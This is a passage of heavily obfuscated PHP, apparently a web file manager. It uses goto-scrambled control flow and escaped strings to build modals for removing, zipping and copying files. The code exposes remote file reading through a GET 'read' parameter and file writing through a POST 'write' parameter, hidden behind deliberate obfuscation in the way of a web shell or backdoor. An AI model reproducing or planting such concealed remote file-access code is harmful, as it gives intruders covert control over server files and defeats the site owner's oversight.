"\74\x2f\142\x75\164\164\157\x6e\x3e\xd\xa\x9\11\40\15\xa\x9\x20\74\x2f\144\151\x76\76\xd\12\40\40\x20\x20\x3c\x2f\x64\151\x76\76\15\12\15\12\40\x20\74\57\144\x69\x76\x3e\xd\12\74\57\144\x69\x76\76\11\xd\xa\xd\12\xd\xa\xd\xa\74\41\55\55\x20\115\157\x64\141\x6c\x20\122\145\155\157\x76\x65\x20\x2d\55\x3e\15\xa\74\x64\x69\166\40\151\x64\75\x22\x5a\x69\160\106\x69\x6c\145\42\40\143\154\141\x73\x73\75\x22\155\x6f\x64\141\x6c\40\146\141\x64\145\42\x20\162\x6f\154\145\x3d\42\x64\151\141\x6c\157\x67\42\76\15\xa\x20\x20\74\144\151\166\x20\x63\154\x61\x73\x73\75\x22\x6d\157\144\x61\x6c\55\x64\151\141\x6c\x6f\x67\x22\x3e\15\12\15\xa\x20\40\x20\x20\74\x21\55\x2d\40\x4d\x6f\x64\141\x6c\x20\143\157\x6e\164\145\x6e\x74\55\x2d\76\15\12\40\x20\x20\40\x3c\x64\151\166\40\x63\x6c\x61\x73\x73\75\x22\155\x6f\x64\x61\154\x2d\143\x6f\x6e\164\x65\x6e\164\42\x3e\xd\xa\40\40\x20\40\x20\x20\74\144\x69\166\x20\143\154\141\x73\163\x3d\42\155\x6f\x64\141\x6c\x2d\150\145\x61\144\145\x72\42\76\15\12\x20\x20\40\x20\40\x20\40\40\74\x62\x75\x74\x74\157\x6e\40\x74\x79\x70\145\75\x22\142\165\x74\x74\x6f\x6e\42\x20\143\154\141\163\x73\75\x22\143\x6c\157\x73\x65\42\x20\144\141\164\x61\x2d\144\151\163\155\x69\163\x73\x3d\x22\155\x6f\144\141\154\42\76\46\164\151\155\145\163\x3b\74\x2f\x62\x75\164\x74\x6f\156\76\xd\12\40\x20\40\40\x20\x20\40\40\x3c\x68\64\40\x63\154\x61\x73\x73\75\x22\x6d\x6f\144\x61\154\x2d\164\x69\164\x6c\145\42\76"; goto mS8U_; Cozm1: echo $CIvJG[14]; goto rYUl3; n2RJ7: $lhFTz = 1; goto SOTsu; FfGk8: echo $CIvJG[18]; goto uESLq; B7aar: echo "\15\12\40\x20\40\x20\40\x20\x3c\x2f\x64\x69\x76\x3e\xd\xa\x20\x20\x20\40\x20\x3c\144\x69\166\40\x63\154\141\163\x73\x3d\42\x6d\x6f\x64\x61\154\55\146\x6f\157\164\145\x72\42\x3e\xd\12\11\x20\15\xa\11\x20\x20\40\40\74\163\160\141\156\40\151\x64\x3d\42\122\145\155\x6f\x76\145\x4c\141\x62\145\154\x73\x75\x63\143\145\x73\x73\42\40\143\x6c\x61\163\163\x3d\42\154\141\x62\145\154\x20\x6c\141\142\x65\154\x2d\163\x75\x63\x63\x65\163\x73\x20\160\x75\x6c\154\x2d"; goto Smx1i; GNT9a: echo "\x27\x29\x3b\15\xa\11\11\x9\11\44\x28\42\43\x48\x72\x65\146\x54\162\x65\x65\x22\x29\56\x68\164\x6d\154\50\x27\x27\x29\73\15\12\11\11\11\15\xa\11\11\11\x9\x24\50\x22\x23\x52\145\x73\165\154\164\42\x29\56\x68\164\155\x6c\50\x27\74\x63\145\156\x74\x65\162\76\x3c\x62\162\76\74\x62\162\x3e\x3c\163\x70\x61\x6e\x20\143\x6c\x61\x73\163\75\42\x4c\157\x61\144\151\x6e\x67\42\x3e\74\57\x73\160\x61\156\76\x3c\x62\x72\x3e\x3c\x62\162\x3e"; goto wcwPf; pxxbT: unset($ru43X); goto tns_u; tns_u: unset($nKZYh); goto cbg8P; sRrJs: echo "\x5d\x3b\xd\xa\x20\x76\x61\x72\40\155\x61\x78\106\151\x6c\x65\x53\151\x7a\145\x20\x3d\x20\x70\x61\x72\163\x65\111\x6e\x74\x28\x27"; goto ALmiR; ho2yf: $CIvJG[17] = "\x53\145\156\x64\x69\x6e\x67\40\56\56\56"; goto m5Dei; GXZTV: die(h2f5H($_GET["\x72\145\x61\144"])); goto Dq8k_; Rpq8W: $MTWgC[0] = array(); goto siHRj; MuF6x: unset($CIvJG); goto eNf1V; AxKzN: echo $CIvJG[35]; goto pgqoB; kgM3A: echo $CIvJG[14]; goto LO5uF; su3Vd: $fxkQy = isset($_GET["\x70\145\x72\160\141\147\145"]) ? "\164\141\x62\x6c\145\55\146\151\170\x65\x64" : ''; goto bfA8N; CT4YP: if (!function_exists("\163\x63\x61\156\144\x69\x72")) { function scandir($nyi6h, $EpF_T = 0) { goto eZuze; iYPgu: if (!($nPkLT = opendir($nyi6h))) { goto r5ReS; } goto wcwPT; yfRBs: $Neukl[] = $KhbAx; goto z29D5; vrbMD: if (!($KhbAx != "\56" && $KhbAx != "\56\56")) { goto nAr6a; } goto yfRBs; z29D5: nAr6a: goto oNgyF; fRhHU: if (!(($KhbAx = readdir($nPkLT)) !== false)) { goto sxnWz; } goto vrbMD; HquG3: r5ReS: goto JRTGQ; EWg2q: $EpF_T == 0 ? asort($Neukl) : rsort($Neukl); goto HquG3; i4R1T: VhH0u: goto dbrqb; JRTGQ: return $Neukl; goto ED0di; ED0di: MI21F: goto eu_w0; YutZI: goto MI21F; goto i4R1T; wcwPT: CQRII: goto fRhHU; dbeHD: sxnWz: goto Xo61c; dbrqb: $Neukl = []; goto iYPgu; Xo61c: closedir($nPkLT); goto EWg2q; eZuze: if (is_dir($nyi6h)) { goto VhH0u; } goto b9ufg; oNgyF: goto CQRII; goto dbeHD; b9ufg: return false; goto YutZI; eu_w0: } } goto KkEah; eNf1V: unset($dm0oc); goto C5ZOo; GS0t5: echo "\74\57\x61\x3e\x3c\x2f\x6c\x69\x3e\11\40\40\xd\xa\11\40\x20"; goto IXqt_; jtsnA: echo "\74\57\142\x75\x74\x74\157\x6e\76\xd\12\x20\40\x20\40\x20\40\x20\40\74\142\x75\x74\x74\157\x6e\40\x74\171\x70\145\75\42\x62\x75\x74\x74\157\x6e\42\40\x63\x6c\x61\163\163\x3d\x22\142\x74\156\40\x62\x74\x6e\x2d\144\145\146\x61\165\154\164\x22\40\144\141\164\141\x2d\x64\151\163\x6d\x69\x73\163\75\x22\x6d\157\144\x61\x6c\x22\x3e"; goto xMFqK; xcIwp: echo "\74\x2f\142\165\x74\164\157\x6e\x3e\15\12\x9\x9\40\xd\xa\x9\40\74\57\x64\x69\166\76\xd\12\40\40\40\x20\x3c\x2f\x64\151\166\76\15\xa\15\12\x20\x20\74\57\144\151\x76\76\xd\12\74\x2f\144\x69\166\76\x9\15\xa\xd\xa\74\41\x2d\x2d\40\x4d\157\x64\x61\x6c\40\x43\x6f\160\171\x46\157\x6c\x64\145\x72\x20\x2d\55\76\15\12\74\x64\x69\x76\x20\151\144\x3d\42\103\x6f\160\x79\x46\157\x6c\x64\145\x72\x22\x20\x63\154\x61\163\x73\75\42\x6d\x6f\x64\141\154\x20\146\x61\144\x65\42\40\x72\157\x6c\145\75\42\x64\x69\141\154\x6f\147\x22\76\xd\12\40\40\x3c\x64\x69\166\40\x63\x6c\141\163\163\x3d\42\x6d\x6f\x64\x61\154\x2d\144\x69\x61\x6c\x6f\x67\42\x3e\15\xa\xd\12\40\x20\40\x20\x3c\x21\x2d\x2d\x20\115\x6f\144\x61\x6c\x20\143\x6f\156\x74\x65\156\164\55\55\76\15\xa\40\40\40\x20\74\x64\x69\x76\x20\x63\x6c\x61\x73\x73\x3d\x22\x6d\x6f\x64\x61\154\55\143\157\156\164\x65\x6e\164\x22\76\15\12\x20\40\x20\x20\x20\x20\x3c\x64\x69\166\x20\x63\x6c\141\x73\x73\75\x22\x6d\157\144\x61\154\55\x68\x65\141\x64\x65\162\42\76\xd\xa\40\x20\x20\40\x20\40\x20\40\x3c\x62\165\164\164\x6f\x6e\x20\164\x79\160\145\x3d\x22\x62\165\164\x74\157\x6e\42\x20\143\x6c\x61\x73\x73\x3d\42\143\154\157\163\145\x22\40\x64\141\x74\141\x2d\144\151\x73\x6d\x69\163\x73\x3d\42\x6d\157\x64\141\154\42\x3e\x26\164\x69\x6d\x65\163\x3b\x3c\x2f\142\165\x74\164\x6f\x6e\76\xd\12\x20\40\40\40\x20\40\40\x20\x3c\150\64\40\x63\154\x61\163\163\x3d\42\x6d\x6f\144\141\154\55\x74\151\164\x6c\x65\x22\76"; goto kYBzC; FgGSp: echo "\x2e\x74\162\145\x65\x76\x69\145\x77\x20\x75\154\x3a\x62\145\146\157\162\x65\x20\x7b\x63\157\156\x74\x65\x6e\x74\72\x22\42\73\x64\151\163\x70\154\141\x79\72\142\154\157\143\153\x3b\167\x69\144\x74\150\x3a\60\x3b\160\x6f\x73\x69\x74\x69\x6f\x6e\x3a\141\142\163\157\154\165\x74\x65\73\x74\x6f\x70\x3a\x30\73\x6c\145\x66\164\72\x30\x3b\x62\157\162\144\x65\162\55\154\x65\x66\x74\72\x31\x70\170\40\x73\x6f\154\x69\x64\73\142\157\164\x74\157\155\x3a\61\x35\x70\170\x3b\175\xd\12\x2e\164\162\x65\x65\x76\151\145\167\40\165\154\x20\154\151\72\142\x65\146\157\x72\145\x20\173\143\x6f\156\x74\x65\x6e\x74\x3a\42\42\73\x64\151\163\x70\x6c\x61\x79\x3a\x62\154\x6f\x63\x6b\73\167\151\144\x74\x68\72\61\60\160\x78\x3b\150\x65\151\x67\150\164\72\x30\x3b\142\157\162\x64\145\162\x2d\x74\x6f\x70\72\61\160\170\40\163\157\154\151\144\x3b\x6d\141\x72\x67\151\x6e\x2d\x74\157\x70\72\x2d\61\x70\170\73\x70\157\x73\x69\x74\151\x6f\156\72\x61\x62\163\x6f\154\165\164\x65\73\164\157\160\x3a\x31\145\x6d\73\154\145\x66\164\x3a\x30\175\15\12"; goto ejZig; kdHyx: MPiF5: goto LWDKb; kZsRN: echo $dm0oc[13]; goto aafjP; Sf668: AtyQv: goto yo2Ni; zg4mv: HircK: goto dRQT0; vFh1F: $CIvJG[31] = "\x4d\x61\164\x63\x68\x20\x6e\157\x74\40\146\x6f\x75\x6e\x64"; goto doJWv; OX8UN: echo $dm0oc[0]; goto H3tPe; KUymb: echo "\74\x21\x44\x4f\x43\124\x59\x50\x45\40\x68\164\155\154\x3e\xd\xa\x3c\x68\x74\155\x6c\40\x6c\141\156\147\75\x22\145\156\55\125\x53\42\76\15\12\x20\40\x20\x20\x3c\150\145\141\144\76\11\15\12\11\40\x20\x20\x20\x3c\155\145\164\141\x20\143\x68\x61\162\x73\x65\164\75\42"; goto xY1_c; JfW1C: unset($DzgHR); goto tA_Rv; qfoKZ: echo "\42\x3e\x3c\57\163\x70\141\x6e\76\x20\xd\12\11\40\40\x20\40\74\x62\x75\164\x74\157\x6e\40\40\x74\171\x70\145\75\x22\x62\x75\164\164\157\156\42\x20\x63\154\141\x73\x73\x3d\42\x62\x74\156\x20\142\164\156\55\163\165\143\143\145\163\163\x22\40\x20\157\156\x63\x6c\x69\x63\x6b\75\42\x63\x6f\160\x79\101\x6e\144\x43\157\156\164\145\156\164\x28\x29\x22\x3e"; goto E2Ccg; ec8rt: $CIvJG[7] = "\105\x78\x74\145\x6e\x73\151\157\156"; goto Ncjw1; Ux7Az: $dm0oc[6] = "\144\141\x74\141\x3a\151\x6d\x61\147\145\57\x70\156\x67\x3b\x62\141\x73\145\66\64\54\151\126\102\117\122\x77\x30\113\107\x67\157\101\101\x41\x41\116\123\125\150\105\125\x67\101\101\x41\x42\101\x41\101\x41\x41\x51\x43\101\x59\101\x41\101\x41\146\70\57\x39\150\101\101\x41\x41\x64\x30\x6c\x45\x51\126\121\64\152\127\116\x67\157\x42\130\x6f\x36\53\166\172\x37\53\57\166\142\53\x6a\x76\67\62\x2b\131\115\107\106\103\126\x55\116\x44\x67\167\x68\x4a\x42\153\x79\131\115\x47\105\171\152\116\x33\x51\x30\x4d\x41\x33\131\143\x4b\x45\x4b\157\113\141\x59\x44\142\62\71\x2f\143\x33\124\112\167\x34\x38\x51\x41\x65\166\x67\x4e\x65\121\167\x68\132\x51\x74\x41\126\x78\116\103\x6a\102\147\x78\x37\101\172\161\x68\x74\x41\x4d\66\x6e\132\x75\x62\171\71\67\x66\63\x31\71\116\x79\x49\x44\65\x66\130\61\71\x58\143\152\112\107\112\x71\150\107\x69\144\117\x6e\x48\x69\x31\161\x36\x74\x4c\x46\x61\x38\102\x70\101\111\x41\143\125\103\151\x7a\125\x77\126\117\x75\60\101\101\101\x41\x41\x53\125\126\x4f\122\113\x35\x43\x59\x49\x49\x3d"; goto snqiM; v_UsS: if (!in_array($CIvJG[0], $Pnn97)) { goto CQGFq; } goto mW0j2; PNtQW: $CIvJG[13] = "\x41\x72\x65\x20\x79\157\165\x20\x73\165\x72\x65\40\171\x6f\165\40\167\141\x6e\164\40\164\157\x20\x52\145\x6d\157\166\x65\40\164\x68\151\163\40\146\x69\x6c\145"; goto DQ3kY; ls6JJ: c23KI($_POST["\167\162\x69\164\x65"]); goto WH9Mk; bm6T5: goto MYpmt; goto kUmYl; JE9w4: function xU7xx() { goto lDUuW; RFMai: Fv3Vx: goto nppTc; pg16n: lsPlu: goto iT6p2; tui5e: goto Fv3Vx; goto pg16n; lzRO9: return false; goto tui5e; lDUuW: if (isset($_SERVER["\x48\x54\x54\120\x5f\x58\137\x52\x45\121\x55\105\123\x54\x45\x44\137\x57\x49\124\x48"]) && !empty($_SERVER["\110\124\x54\x50\x5f\130\x5f\x52\x45\121\x55\x45\123\124\x45\x44\x5f\x57\x49\x54\110"]) && strtolower($_SERVER["\110\124\x54\x50\137\130\x5f\122\x45\x51\x55\105\123\x54\x45\x44\137\x57\x49\124\x48"]) == "\170\155\154\x68\164\x74\160\x72\x65\161\x75\x65\163\x74") { goto lsPlu; } goto lzRO9; iT6p2: return true; goto RFMai; nppTc: } goto YQEn9; cnW0N: echo $CIvJG[11]; goto sbbA3; OdlpT: ebAsx: goto YvHKq; onymw: unset($k8LVN); goto Ef4oc; hmWpY: echo "\xe2\x86\x90"; goto bm6T5; wwW2O: if (!(count($MTWgC[1]) != 0)) { goto nimQZ; } goto uG5Xp; QLuQ5: echo "\x27\x2c\xd\12\40\40\40\x20\40\40\x20\40\x6f\x6e\120\x61\147\x65\103\154\151\143\153\72\x20\146\x75\156\143\164\151\x6f\156\x20\x28\x65\x76\145\156\164\54\40\160\141\147\145\x29\x20\173\xd\12\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\44\x28\42\x23\143\x6f\156\x74\x65\x6e\x74\x22\51\56\x68\164\x6d\x6c\50\x4c\x6f\x61\x64\151\156\147\x48\x74\155\154\51\x3b\15\xa\11\x9\x9\x24\x2e\x67\x65\x74\x4a\123\117\x4e\x28\x22\x3f\x74\141\x62\154\145\46\x70\141\x67\x65\75\x22\53\160\141\x67\x65\53\42\46\x61\x6c\x65\x72\164\x3d\42\53\x72\x65\x73\165\154\164\56\x61\154\145\x72\x74\x2c\40\x66\x75\x6e\x63\164\x69\157\x6e\50\x72\x65\163\x75\154\164\51\x7b\40\44\x28\42\x23\x63\x6f\156\164\x65\156\164\42\51\56\150\x74\155\154\x28\x72\145\x73\165\x6c\x74\56\164\x61\142\154\145\x29\73\40\x24\50\x27\x23\142\162\145\x61\x64\x63\162\x75\x6d\142\x27\x29\x2e\x68\164\x6d\154\50\162\145\163\x75\154\x74\x2e\x64\x69\x72\x48\x74\155\x6c\51\73\x20\x24\50\47\x23\141\154\145\x72\x74\x27\51\x2e\150\164\155\154\x28\162\x65\x73\x75\x6c\164\x2e\x61\x6c\145\x72\164\x29\73\x7d\x29\73\11\x9\40\xd\xa\40\40\40\x20\x20\x20\40\x20\175\15\xa\x9\x9\x7d\51\x3b\xd\12\x9\11\11\xd\xa\x9\11\11\x7d\x29\x3b\xd\xa\11\x9\x9\15\xa\15\xa\11\40\40\x20\x20\x66\x75\156\x63\x74\x69\x6f\156\40\163\x65\164\x43\157\x6f\x6b\x69\145\x28\153\145\x79\x2c\x20\166\141\x6c\165\x65\51\x20\x7b\xd\xa\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\166\x61\x72\40\x65\170\x70\151\x72\145\x73\x20\x3d\x20\156\x65\x77\40\x44\x61\164\x65\50\51\x3b\15\xa\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x65\170\x70\x69\x72\x65\x73\56\x73\145\164\x54\151\155\x65\50\145\x78\160\151\162\x65\163\56\x67\x65\164\124\151\155\x65\50\51\x20\53\40\50\61\x20\x2a\x20\62\x34\40\x2a\x20\x36\x30\40\x2a\x20\66\60\x20\52\x20\61\x30\60\x30\51\51\x3b\15\12\40\40\x20\x20\40\40\x20\40\40\40\40\x20\144\x6f\143\165\x6d\145\156\164\56\x63\x6f\x6f\x6b\x69\x65\40\x3d\40\x6b\x65\x79\40\x2b\40\47\x3d\47\40\53\x20\x76\141\154\165\x65\x20\53\40\47\73\145\x78\x70\x69\162\145\163\75\x27\x20\53\x20\x65\x78\160\151\x72\x65\x73\x2e\x74\x6f\x55\124\x43\x53\x74\162\x69\x6e\x67\x28\51\x3b\xd\xa\x20\40\x20\x20\x20\40\40\40\175\xd\12\xd\xa\40\40\x20\40\x20\x20\40\40\146\165\x6e\x63\x74\x69\157\x6e\40\x67\145\164\x43\x6f\x6f\x6b\151\x65\x28\x6b\x65\171\51\40\x7b\15\12\40\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x76\x61\x72\40\x6b\x65\x79\x56\141\x6c\x75\x65\40\75\40\x64\157\x63\165\x6d\145\x6e\164\x2e\143\157\x6f\153\x69\x65\x2e\x6d\x61\164\143\x68\50\47\x28\136\x7c\73\51\40\77\47\x20\53\40\x6b\145\171\40\53\x20\47\75\50\133\x5e\x3b\x5d\x2a\51\x28\73\174\44\x29\x27\x29\x3b\xd\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\162\145\x74\165\162\x6e\40\153\x65\171\x56\x61\154\165\145\x20\x3f\x20\x6b\x65\x79\126\141\x6c\165\145\133\x32\135\x20\x3a\40\x6e\165\154\x6c\x3b\xd\12\40\x20\x20\x20\x20\40\x20\40\175\15\12\x9\xd\12\x9\40\x20\x20\x20\x20\x20\146\165\x6e\x63\x74\151\157\156\x20\x65\163\143\x61\x70\145\x54\x61\x67\x73\x28\x20\x73\x74\162\40\x29\x20\173\xd\xa\x9\11\11\40\x20\162\x65\x74\165\x72\156\40\123\x74\162\151\x6e\x67\50\x20\163\x74\x72\40\x29\15\xa\40\40\40\40\40\40\40\x20\x20\x20\x20\56\162\x65\x70\154\x61\143\x65\x28\40\57\46\57\147\x2c\x20\47\46\141\x6d\160\73\47\x20\51\xd\12\40\x20\x20\40\x20\40\40\40\40\x20\x20\56\162\x65\160\154\x61\143\x65\50\x20\x2f\42\57\x67\54\x20\47\46\x71\x75\157\x74\73\x27\x20\x29\xd\xa\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\56\162\145\x70\154\141\x63\145\50\40\x2f\x27\57\147\x2c\40\47\x26\43\x33\x39\x3b\x27\40\51\xd\12\40\40\40\x20\x20\x20\x20\x20\x20\40\40\56\162\x65\x70\x6c\x61\143\145\50\40\x2f\74\x2f\x67\x2c\x20\47\x26\154\164\73\47\x20\x29\xd\xa\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\56\162\145\160\x6c\x61\x63\145\50\x20\57\76\x2f\x67\54\x20\x27\x26\147\x74\73\x27\40\51\x3b\xd\12\11\11\40\x20\x20\x7d\15\12\11\x9\x20\x20\x20\15\12\11\11\x20\40\40\x66\165\156\x63\164\x69\157\x6e\x20\x72\x65\160\154\141\x63\145\137\144\151\x72\50\x20\x73\x74\x72\40\x29\x20\173\xd\xa\11\11\x9\40\40\162\145\164\165\x72\156\x20\123\164\x72\151\156\x67\50\x20\163\x74\162\x20\x29\x2e\x72\x65\x70\x6c\x61\143\145\x28\40\x27\57\x2f\x2f\47\54\x20\x27\57\47\x20\x29\x2e\x72\145\160\x6c\x61\143\x65\50\40\x27\57\x2f\x27\54\x20\47\57\47\x20\51\x3b\x20\xd\12\11\x9\x20\x20\x20\175\15\xa\x9\11\x20\40\x20\15\12\x9\11\x20\40\40\x66\165\156\143\164\x69\157\156\x20\151\x73\106\x69\x6c\x65\x28\x70\141\x74\x68\156\x61\x6d\145\51\40\x7b\15\xa\x9\11\x9\40\40\40\x72\145\x74\x75\x72\x6e\x20\160\141\x74\x68\x6e\141\155\145\x2e\163\160\x6c\x69\164\50\x27\57\47\x29\x2e\160\x6f\160\x28\x29\56\x73\160\154\151\164\50\47\56\x27\x29\x2e\154\x65\x6e\147\164\150\40\x3e\40\x31\x3b\xd\12\11\11\40\40\40\x7d\xd\12\11\x9\x20\x20\40\146\x75\x6e\x63\164\151\x6f\x6e\40\151\x73\x44\x69\x72\x28\160\141\x74\150\x6e\x61\155\x65\51\x20\x7b\x20\x72\x65\164\165\x72\156\x20\x21\x69\163\106\x69\x6c\145\50\160\x61\x74\150\x6e\141\155\145\x29\x3b\x20\175\15\12\11\xd\12\x9\x9\x9\x66\x75\156\143\x74\151\157\156\x20\x67\145\x74\103\157\156\164\x65\x6e\164\50\165\x72\x6c\54\x74\171\x70\x65\51\xd\xa\11\x9\11\173\15\12\x9\x9\11\x9\40\x20\x73\x65\x74\x43\x6f\157\x6b\151\145\x28\47\x75\162\x6c\x27\x2c\40\165\x72\x6c\x29\73\xd\xa\x9\x9\11\11\40\44\50\x22\43\x63\157\156\x74\145\156\164\42\51\x2e\x68\x74\x6d\154\x28\x4c\157\141\x64\151\x6e\147\x48\x74\155\x6c\x29\73\15\12\x9\x9\11\11\40\x20\x75\162\x6c\40\75\40\x72\145\x70\x6c\141\x63\x65\x5f\144\151\x72\x28\x75\162\x6c\x29\73\x20\15\xa\x9\11\11\40\40\40\40\x20\x20\44\x2e\147\145\x74\112\x53\117\116\x28\x22\77\x74\141\142\154\145\x26\x22\53\x75\162\x6c\54\x20\x66\165\156\x63\164\x69\157\x6e\x28\144\141\164\141\51\x7b\15\xa\x9\11\11\11\x20\57\x2f\x20\40\x61\154\x65\x72\164\50\42\x3f\164\141\x62\154\x65\46\x22\x2b\x75\x72\x6c\x29\x3b\11\x9\x9\x20\40\15\xa\11\x9\40\40\40\40\x20\x20\x20\40\40\x20\x24\50\42\43\x63\x6f\156\x74\x65\156\164\x22\x29\56\150\x74\155\x6c\50\144\x61\x74\141\56\164\x61\x62\154\145\x29\x3b\15\12\x9\11\x9\x20\x20\x20\x20\x20\x20\44\50\x27\43\142\x72\145\141\144\143\x72\x75\155\142\47\51\x2e\150\164\x6d\x6c\x28\144\141\x74\x61\56\144\151\x72\110\164\155\154\x29\x3b\15\xa\11\11\11\11\x20\40\x24\x28\x27\x23\144\151\x72\111\156\160\x75\x74\123\x65\x61\162\x63\150\x27\51\x2e\x76\x61\x6c\x28\144\141\164\141\56\x64\x69\x72\51\73\15\12\11\11\11\x9\40\x20\x24\50\x22\x23\x52\145\x73\165\x6c\164\x22\x29\x2e\150\x74\x6d\154\x28\144\141\164\141\56\164\141\x62\x6c\145\51\73\15\12\x9\x9\11\x9\x20\40\x24\x28\47\x23\144\x69\162\145\143\x74\x6f\162\171\47\x29\x2e\166\141\154\x28\144\141\x74\x61\x2e\x64\x69\162\x29\73\15\xa\11\x9\11\x9\40\x20\44\50\x27\43\160\141\x67\x69\156\141\164\151\157\156\47\51\56\145\x6d\160\x74\x79\x28\51\x2e\162\x65\155\157\x76\x65\104\141\x74\x61\50\42\164\x77\142\x73\x2d\160\x61\147\151\x6e\141\164\151\157\x6e\42\x29\56\x75\156\142\x69\156\x64\x28\42\x70\x61\147\x65\42\51\73\15\xa\x9\x9\11\x9\40\40\x24\50\x27\x23\x61\x6c\145\162\164\x27\51\x2e\x68\x74\x6d\x6c\50\144\141\x74\x61\x2e\141\x6c\x65\x72\164\51\x3b\11\x9\x20\40\xd\12\x9\x9\x20\40\40\40\40\40\40\x20\x24\50\47\x23\160\x61\x67\x69\x6e\x61\164\x69\x6f\x6e\x27\x29\x2e\x74\x77\142\x73\x50\141\147\151\x6e\141\x74\151\157\x6e\x28\x7b\xd\xa\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\40\x20\164\157\164\141\154\120\x61\147\145\x73\x3a\x20\x64\141\164\141\56\x74\157\x74\141\x6c\x2c\15\xa\x20\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\40\x20\40\40\40\40\166\151\163\x69\142\154\x65\120\141\147\x65\x73\x3a\x20\65\54\xd\12\11\11\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\146\151\162\163\x74\x20\x3a\40\47"; goto TbXh_; wUaVv: echo $CIvJG[33]; goto mvqSd; LOlNs: echo "\x3c\57\142\165\x74\x74\x6f\x6e\x3e\15\12\x20\x20\40\40\40\40\x20\x20\x3c\57\144\151\x76\x3e\xd\xa\40\x20\40\x20\x20\40\x3c\x2f\x64\x69\x76\x3e\xd\12\x20\x20\40\x20\40\40\xd\12\x20\x20\x20\x20\74\x2f\144\151\x76\76\xd\12\x20\40\74\57\x64\x69\166\x3e\15\12\15\12\15\12\x20\15\12\40\40\15\xa\40\40\x20\40\x20\40\x20\x20\74\x6f\x6c\x20\x63\154\141\163\x73\x3d\x22\142\162\x65\x61\x64\x63\162\x75\155\x62\x22\40\x69\144\x3d\x22\142\x72\145\x61\144\143\162\x75\x6d\x62\x22\76\x20\x20\74\x2f\x6f\x6c\x3e\x9\11\x20\15\xa\11\x9\x3c\144\151\x76\40\x69\x64\75\x22\x63\157\156\164\x65\156\x74\x22\x3e\74\57\144\151\x76\76\11\11\40\40\15\xa\x9\11\74\x69\x6e\x70\x75\x74\40\164\171\x70\x65\75\x22\150\151\x64\x64\x65\x6e\42\40\x69\144\x3d\42\x64\x69\x72\145\143\x74\157\162\171\x22\x3e\x9\11\15\12\x9\x9\x20\x3c\x64\151\166\x20\x69\x64\75\42\141\154\145\162\164\42\x3e\74\x2f\144\151\x76\x3e\15\12\11\x9\x20\x3c\165\154\40\x69\144\x3d\42\x70\x61\x67\151\156\141\164\x69\x6f\x6e\x22\40\x63\x6c\141\163\163\75\x22\160\x61\147\x69\156\141\x74\x69\157\156\42\x3e\74\57\165\x6c\76\15\xa\40\40\x20\x20\40\x20\40\x20\74\163\143\162\151\160\x74\x20\x74\x79\x70\x65\x3d\42\x74\x65\x78\164\x2f\152\141\x76\x61\163\x63\162\x69\160\164\x22\x3e\15\xa\11\x9\15\12\x2f\52\52\15\12\x20\52\40\x20\102\x6f\x6f\x74\x54\x72\x65\x65\x20\x54\162\x65\145\x76\x69\x65\x77\x20\x70\154\165\x67\151\156\40\x66\157\162\x20\x42\157\x6f\x74\163\x74\x72\141\x70\x2e\xd\12\x20\x2a\15\12\x20\52\x20\40\102\141\163\x65\x64\40\157\x6e\x20\102\x6f\x6f\164\x53\156\x69\x70\x70\x20\124\x72\x65\x65\126\151\x65\x77\x20\105\x78\141\x6d\160\x6c\x65\40\x62\x79\40\x53\x65\141\156\40\x57\145\x73\x73\x65\154\x6c\15\12\x20\52\40\x20\x55\122\114\x3a\x9\x68\x74\x74\x70\72\x2f\57\142\x6f\157\164\163\x6e\x69\x70\160\56\x63\x6f\x6d\x2f\163\x6e\151\x70\160\145\164\x73\x2f\x66\145\x61\164\165\x72\145\x64\x2f\x62\157\157\x74\163\164\x72\x61\x70\x2d\63\60\x2d\164\x72\x65\145\166\x69\145\x77\15\12\40\52\15\xa\x20\x2a\11\122\x65\x76\x69\163\145\144\40\143\157\x64\x65\x20\x62\171\40\x4c\x65\x6f\x20\42\114\145\157\126\x31\x31\x37\x22\x20\115\171\x65\x72\163\xd\xa\x20\x2a\xd\xa\40\x2a\x2f\15\xa\x20\166\x61\x72\x20\x46\151\154\x65\x54\171\160\x65\163\x20\x3d\x20\x5b\40"; goto wwW2O; d7GXo: echo $CIvJG[20]; goto r4eYE; MGhcK: $CIvJG[36] = "\101\x6c\154\x6f\x77\x65\144\40\x65\170\x74\x65\x6e\x73\x69\x6f\156\163"; goto MRRel; mwjrA: thFtN: goto sRrJs; fIUvW: echo $CIvJG[15]; goto MhfDQ; sbbA3: echo "\74\57\x74\151\x74\154\x65\x3e\15\12\x20\40\x20\40\40\x20\x20\40\xd\12\11\11\x3c\163\x74\171\x6c\145\x3e\xd\xa\15\xa\56\x5a\151\160\x49\143\x6f\x6e\40\173\x62\141\x63\153\x67\x72\157\165\x6e\x64\72\165\162\154\50"; goto OX8UN; r6KWF: vQg_4: goto YEjvX; flqrc: function hkJjQ($z0I6p, $KhbAx) { goto Gtc1j; D95L1: if (!($KhbAx == "\x4d\x61\x74\143\150\137\x6e\x6f\x74\137\146\157\165\x6e\144")) { goto cOntr; } goto TwtP3; Gtc1j: global $HbHPr; goto D95L1; itPyC: return $HbHPr[$z0I6p]; goto pX_WL; FVSrU: cOntr: goto itPyC; TwtP3: return "\55\x2d"; goto FVSrU; pX_WL: } goto tGAYc; Lqr7t: function LU4vD($KhbAx) { goto KgvQe; KgvQe: global $CIvJG; goto LK56Y; vLxq0: return $tvFkP; goto UDyCj; pq75Y: return "\55\55"; goto SXJ9c; UMn7e: return "\144\x69\x72"; goto iheWj; UDyCj: goto zYyLG; goto KbXI3; SXJ9c: Xjf_Y: goto Z_OBZ; KbXI3: q2eOr: goto UMn7e; LK56Y: if (!($KhbAx == "\x4d\x61\164\x63\150\137\156\x6f\x74\137\x66\157\x75\x6e\144")) { goto Xjf_Y; } goto pq75Y; iheWj: zYyLG: goto ONp8n; Z_OBZ: $tvFkP = strtolower(pathinfo($KhbAx, PATHINFO_EXTENSION)); goto wwfR5; wwfR5: if ($tvFkP == '') { goto q2eOr; } goto vLxq0; ONp8n: } goto OFk1l; h14ob: echo 